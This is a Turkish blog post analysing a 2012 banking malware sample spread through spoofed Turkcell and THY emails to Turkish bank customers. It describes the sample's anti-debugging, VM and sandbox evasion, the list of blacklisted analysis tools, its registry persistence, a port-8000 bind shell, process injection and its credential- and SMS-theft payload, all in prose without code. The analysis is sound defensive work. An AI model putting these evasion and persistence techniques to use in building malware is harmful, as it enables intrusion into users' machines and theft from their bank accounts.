Şeytan Ayrıntıda Gizlidir

Source: https://www.mertsarica.com/seytan-ayrintida-gizlidir/
By M.S on December 31st, 2012

19 Aralık 2012 tarihinde birçok banka müşterilerinden gelen ihbarları değerlendirmek ile güne başladı. Aynı anda sosyal medyada ve NetSec bilişim güvenliği e-posta listesinde Turkcell ve Vodafone'dan gönderildiği ve ekinde zararlı yazılım bulunduğu öne sürülen e-postalar yer almaya başladı.

24 Aralık 2012 tarihinde ise bu defa THY'den gönderildiği ve ekinde zararlı yazılım bulunduğu öne sürülen e-postalar gündemi meşgul etmeye başladı.

E-postaların başlık bilgileri incelendiğinde e-postaların Turkcell ve THY'den gönderiliyormuş gibi gösterilmeye çalışıldığı anlaşılıyordu. Fakat dikkatlice bakıldığında son adımda e-postanın Tayvan'da ki bir sunucudan alınmış olduğu bu nedenle başlık bilgilerinin manipüle edildiği açıkça anlaşılıyordu.

Ardından bazı web sitelerinde ve NetSec bilişim güvenliği e-posta listesinde zararlı yazılım üzerinde yapılan kısa analizlere yer verildi ve bu analizlerde zararlı yazılımın trojan olmadığı, çalıştırıldıktan sonra 8000 numaralı bağlantı noktasında (port) dinlemeye geçtiği ve bu bağlantı noktasından sisteme bağlanan kişilere komut satırı erişimi (shell) verildiği belirtiliyordu.

Emek ve zaman harcandığı açıkça belli olan profesyönelce hazırlanmış iki farklı sahte e-posta ve sadece çalıştırıldığı sistemde 8000 numaralı bağlantı noktasında komut satırı erişimi veren zararlı bir yazılım ? Muhtemelen okurken size de inandırıcı gelmeyen bu senaryo bana da hiç inandırıcı gelmediği için sahte THY e-postasında yer alan zararlı yazılıma kısaca göz atmaya karar verdim. Özellikle yazılım seviyesine inilmeden sistem seviyesinde yapılan analizler, zararlı yazılımın sanal makine, debugger, sandbox tespitine yönelik kontroller içermesi durumunda farklı sonuçlar ortaya çıkarabilmektedir bu nedenle yazılım seviyesine inilmeden yapılan bir analiz sonucuna göre bir karara varmak çok doğru değildir. Yazılım seviyesine inilse dahi kimi zaman yanılma payı olabilmektedir.
Immunity Debugger aracı ile zararlı yazılımı analiz etmeye başladığımda ilk dikkatimi çeken Immunity Debugger tarafından karşıma çıkan şüpheli uyarı mesajları oldu.

Ardından bir Anti Debugging tekniği olan ve zararlı yazılımlarda sıkça karşılaşılan SetUnhandledExceptionFilter dikkatimi çekti. Normalde bir yazılım çalışma esnasında ortaya çıkabilecek potansiyel hataları, istisnai durumları tespit eder ve ona göre aksiyon alır ancak öngörülemeyen hatalar için bir yazılımcı SetUnhandledExceptionFilter filtresi ile öngörülemeyen hataların da tespit edilmesini ve buna göre aksiyon almasını sağlayabilir. Hata ayıklayıcı (debugger) ile çalıştırılan bir yazılımda ise debugger yazılımın çalışması esnasında ortaya çıkan hataları, istisnai durumları kendisi yönetmeye çalışır. Bunu bilen zararlı yazılım geliştiricileri de bu filtreden faydalanarak sayısal hatalara yol açacak bir kod parçası çalıştırır ve bu hatayı bu filtrenin ayıklamasını ve yazılımın akışına devam etmesini sağlar. Ancak bunu bilmeyen bir hata ayıklayıcı böyle bir hata ile karşılaştığında yazılımın akışını devam ettiremez ve yazılım çökmüş olur kısaca SetUnhandledExceptionFilter ile debuggerlar bu şekilde devre dışı bırakılmaya çalışılır.

Bu adımları geçtikten ve zararlı yazılımın paketlenmiş (packed) bölümlerini açtığını farkettim.

Son adımlara yaklaşırken zararlı yazılımın işletim sistemi üzerinde çalışan potansiyel güvenlik yazılımlarını atlatmak için runPE (hafızadan işlem (process) çalıştırma) yöntemini kullanmak için hazırlık yaptığı anlaşılıyordu.

Biraz daha ilerledikten sonra zararlı yazılımın paketinden çıkarmış olduğu işlemi (process) kontrol ettiğini farkettim ve diske kayıt edip, HEX editor ile fazlalık kısımları temizleyip Immunity Debugger ile çalıştırdım ve incelemeye başladım.

İlk dikkatimi çeken 004010C6 fonksiyonu ile işlemlerin (processes) teker teker hashini alıp ardından ön tanımlı işlemlerin hashleri ile kıyasladığını farkettim. Belli ki yazılımı geliştirenler bazı yazılımları kara listeye almışlardı. Zararlı yazılımı VMWare içinde çalıştırdığım için vmwareuser.exe yazılımının kara listede olduğu hemen anlaşılıyordu. Ancak biraz çatlak olduğum için hangi yazılımların kara listede yer aldığını öğrenmek için Python ile http://www.processlibrary.com/ adresinde kayıtlı olan tüm işlemlerin (processes) listesini oluşturan ufak bir araç hazırladım ve hash fonksiyonunu bire bir Python kodu ile oluşturarak tüm işlemleri bu araçtan geçirerek kara listede yer alan tüm yazılımları (netmon.exe, procmon.exe, sandboxiedcomlaunch.exe, sandboxierpcss.exe, vboxservice.exe, vboxtray.exe, vmwareservice.exe, vmwareuser.exe, wireshark.exe) tespit ettim.

Bunun dışında zararlı yazılımın sbiedll.dll ile Sandboxie yazılımın sistemde yüklü olup olmadığını, vmware, vbox gibi sanal makinede çalışıp çalışmadığının kontrolü, qemu öykünücü (emulator) kontrolü ve RDTSC yönergesi (instruction) ile yönergeler arası geçen sürenin kontrolü ile kum havuzu ve hata ayıklıcı kontrolü yaptığını tespit ettim.

Zararlı yazılım bu kontrollerden herhangi birine takıldığı taktirde kendisini %ALLUSERSPROFILE% ortam değişkeninde (environment) yer alan klasöre kopyalamakta ve sistem yeniden başlatıldığında çalışabilmek için kayıt defterinde HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SunJavaUpdateSched anahtarı oluşturmaktadır. Çalıştığı zaman da hem e-posta hem de web sitelerine konu olduğu gibi 8000. numaralı bağlantı noktasında (port) dinlemeye geçmekte ve bu bağlantı noktasından sisteme bağlanan kişilere komut satırı erişimi (shell) vermektedir.

Ancak bu zararlı yazılım, kontrollerden herhangi birine takılmaz ise 32 bit işletim sisteminde windows\system32 klasörü altında wuauclt.exe dosyası yaratmakta, 64 bit işletim sisteminde ise windows\syswow64 klasörü altında svchost.exe dosyası yaratmakta (windows file protection izin verirse), çalıştırmakta ardından kendisini bu işleme (process) enjekte ederek diğer faza geçmektedir. Son fazda ise sisteme bankacılık zararlı yazılımı bulaştırarak Zeus ve Spyeye'dan bildiğimiz gibi kullanıcının cep telefonuna da zararlı yazılım göndererek internet şubesini kullanan kullanıcının kullanıcı adını, şifresini ve sms doğrulama kodunu çalarak müşterilerin hesabını boşaltmaya çalışmaktadır.

Sonuç olarak yazının başında da bahsettiğim üzere yazılım seviyesine inilmeden sistem seviyesinde yapılan analizler, zararlı yazılımın sanal makine, debugger, sandbox tespitine yönelik kontroller içermesi durumunda farklı sonuçlar ortaya çıkarabilmektedir bu nedenle zararlı yazılım hakkında kesin bir sonuca varmak için mutlaka ama mutlaka yazılım seviyesinde de analiz yapılması gerekmektedir.
Türkiye'deki banka müşterilerini hedef alan bu zararlı yazılım ile ilgili daha fazla bilgi almak için Tübitak BİLGEM tarafından yayınlanan analiz yazısını da okumanızı öneririm.
Bu vesileyle herkesin yeni yılını kutlar, 2013 yılının herkese önce sağlık sonra güvenli günler getirmesini dilerim.
Not: Her ne kadar bu zararlı yazılım Tübitak BİLGEM'in yayınlamış olduğu analiz yazısında Zeus'un bir türevi olarak yer almış olsa da Zemana firmasından Emre TINAZTEPE'nin yapmış olduğu bir açıklamaya göreye zararlı yazılım kimi zaman Zeus kimi zaman ise Cridex olarak son kullanıcının sistemine yüklenmektedir. Daha detaylı yeni analiz raporları/yazıları yayınlandıkça bu zararlı yazılım hakkında daha net bilgilere sahip olacağımıza inanıyorum.